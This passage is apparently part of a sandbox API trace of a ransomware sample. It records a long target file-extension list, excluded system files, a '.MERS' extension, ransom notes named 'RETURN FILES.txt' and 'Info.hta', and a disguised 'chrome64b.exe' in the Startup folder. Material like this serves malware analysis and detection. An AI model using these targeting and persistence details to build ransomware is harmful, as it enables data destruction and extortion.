Flags=0x0, Size=0xa) returned 0x5c1d30 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1d48 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1d60 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1d78 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1d90 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1da8 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1dc0 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1dd8 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1df0 [0256.142] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c18e8, Size=0x400) returned 0x5c1ef0 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1e08 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1e20 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1e38 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1e50 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1e68 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1e80 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5c1e98 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1eb0 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5c1ec8 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593108 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57de08 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593120 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x593138 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593150 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593168 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593180 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593198 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5931b0 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5931c8 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5931e0 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5931f8 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593210 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593228 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593240 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593258 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593270 [0256.142] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57de18 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593288 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5932a0 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5932b8 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5932d0 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5932e8 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593300 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593318 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593330 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593348 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x593360 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593378 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x593390 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5933a8 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5933c0 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5933d8 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5933f0 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593408 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x593420 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593438 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593450 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593468 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593480 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593498 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5934b0 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5934c8 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593508 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593520 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593538 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593550 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593568 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593580 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593598 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5935b0 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5935c8 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5935e0 [0256.143] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5935f8 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x12) returned 0x57a2c0 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593610 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593628 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593640 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593658 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593670 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593688 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5936a0 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5936b8 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5936d0 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5936e8 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593700 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593718 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593730 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593748 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593760 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593778 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593790 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5937a8 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5937c0 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5937d8 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5937f0 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x593808 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x593820 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x593838 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x593850 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57de28 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593868 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57de38 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593880 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593898 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5938b0 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5938c8 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x593908 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593920 [0256.144] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x593938 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593950 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593968 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x593980 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593998 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5939b0 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5939c8 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5939e0 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x57de48 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5939f8 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593a10 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593a28 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593a40 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593a58 [0256.145] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x593a70 [0256.145] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1ef0, Size=0x800) returned 0x593cf0 [0256.145] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0256.145] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5d3f20 | out: hHeap=0x540000) returned 1 [0256.145] lstrlenW (lpString="") returned 0 [0256.145] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594b88 | out: hHeap=0x540000) returned 1 [0256.145] lstrlenW (lpString=".MERS") returned 5 [0256.145] lstrlenW (lpString=".MERS") returned 5 [0256.145] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594b88 | out: hHeap=0x540000) returned 1 [0256.145] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594bb8, Size=0x20) returned 0x579c40 [0256.145] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579c40, Size=0x40) returned 0x57ad68 [0256.145] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ad68, Size=0x80) returned 0x5bf100 [0256.145] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57deb8, Size=0x8) returned 0x57dec8 [0256.145] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dec8, Size=0x10) returned 0x594bb8 [0256.145] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594bb8, Size=0x20) returned 0x579c90 [0256.145] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0256.146] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf100 | out: hHeap=0x540000) returned 1 [0256.146] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594be8, Size=0x20) returned 0x579cb8 [0256.146] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579cb8, Size=0x40) returned 0x57ad68 [0256.146] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0256.146] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0256.146] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57ad68 | out: hHeap=0x540000) returned 1 [0256.146] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594be8, Size=0x20) returned 0x579cb8 [0256.146] lstrlenW (lpString="Info.hta") returned 8 [0256.146] lstrlenW (lpString="Info.hta") returned 8 [0256.146] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579cb8 | out: hHeap=0x540000) returned 1 [0256.146] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5d3f20, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe")) returned 0x69 [0256.146] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5d3f20 | out: hHeap=0x540000) returned 1 [0256.146] lstrlenW (lpString="chrome64b.exe") returned 13 [0256.146] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579c90, Size=0x40) returned 0x57ad68 [0256.146] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594be8, Size=0x20) returned 0x579c90 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594be8, Size=0x20) returned 0x579ce0 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579ce0, Size=0x40) returned 0x57adb0 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57adb0, Size=0x80) returned 0x5bf100 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x58f100 [0256.147] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0256.147] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x58f100 | out: hHeap=0x540000) returned 1 [0256.147] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x5d3f20, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0256.147] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3f28 | out: hHeap=0x540000) returned 1 [0256.147] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5d3f20 | out: hHeap=0x540000) returned 1 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dec8, Size=0x8) returned 0x57deb8 [0256.147] lstrlenW (lpString="%windir%;") returned 9 [0256.147] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579c90 | out: hHeap=0x540000) returned 1 [0256.147] lstrlenW (lpString="C:\\Windows;") returned 11 [0256.147] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59f8f8 | out: hHeap=0x540000) returned 1 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594c00, Size=0x20) returned 0x579c90 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579c90, Size=0x40) returned 0x57adb0 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57adb0, Size=0x80) returned 0x5bf100 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x58f100 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57def8, Size=0x8) returned 0x57df08 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57df08, Size=0x10) returned 0x594c48 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594c48, Size=0x20) returned 0x579c90 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dec8, Size=0x8) returned 0x57df08 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ded8, Size=0x8) returned 0x57dec8 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57def8, Size=0x8) returned 0x57df18 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57df18, Size=0x10) returned 0x594d10 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594d10, Size=0x20) returned 0x579ce0 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57df08, Size=0x10) returned 0x594d10 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57dec8, Size=0x10) returned 0x594d40 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57df08, Size=0x8) returned 0x57def8 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1f08, Size=0x8) returned 0x5c1f18 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594d10, Size=0x20) returned 0x579d08 [0256.147] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594d40, Size=0x20) returned 0x579d30 [0256.148] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1f28, Size=0x8) returned 0x5c1f38 [0256.148] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0256.148] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x58f100 | out: hHeap=0x540000) returned 1 [0256.148] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594db8, Size=0x20) returned 0x579d80 [0256.148] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x59f8f8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0256.148] lstrlenW (lpString="C:\\") returned 3 [0256.148] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0256.148] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59f8f8 | out: hHeap=0x540000) returned 1 [0256.148] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1f68, Size=0x82) returned 0x5c1978 [0256.149] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1f88, Size=0x100) returned 0x58f100 [0256.149] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1978, Size=0x104) returned 0x595588 [0256.149] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x58f100, Size=0x200) returned 0x595698 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1f78 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x595698 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594e60 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf320 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594e18 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf298 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594e48 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x595588 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594e30 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1a08 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594e78 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5954f8 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594e90 | out: hHeap=0x540000) returned 1 [0256.150] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594e90, Size=0x20) returned 0x579da8 [0256.150] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579da8, Size=0x40) returned 0x57adb0 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1f48 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594db8 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c18e8 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594de8 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf210 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594dd0 | out: hHeap=0x540000) returned 1 [0256.150] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1f58 | out: hHeap=0x540000) returned 1 [0256.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x594e00 | out: hHeap=0x540000) returned 1 [0256.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57dad0 | out: hHeap=0x540000) returned 1 [0256.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57a3a0 | out: hHeap=0x540000) returned 1 [0256.151] lstrlenW (lpString="%systemdrive%") returned 13 [0256.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579d80 | out: hHeap=0x540000) returned 1 [0256.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf100 | out: hHeap=0x540000) returned 1 [0256.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5c1f28 | out: hHeap=0x540000) returned 1 [0256.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5c3f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0256.151] WaitForMultipleObjects (nCount=0x2, lpHandles=0x57be18*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 83 os_tid = 0x5c0 Thread: id = 85 os_tid = 0x668 [0256.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x594e00 [0256.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594e00, Size=0x20) returned 0x579da8 [0256.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579da8, Size=0x40) returned 0x57adf8 [0256.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57adf8, Size=0x80) returned 0x5bf100 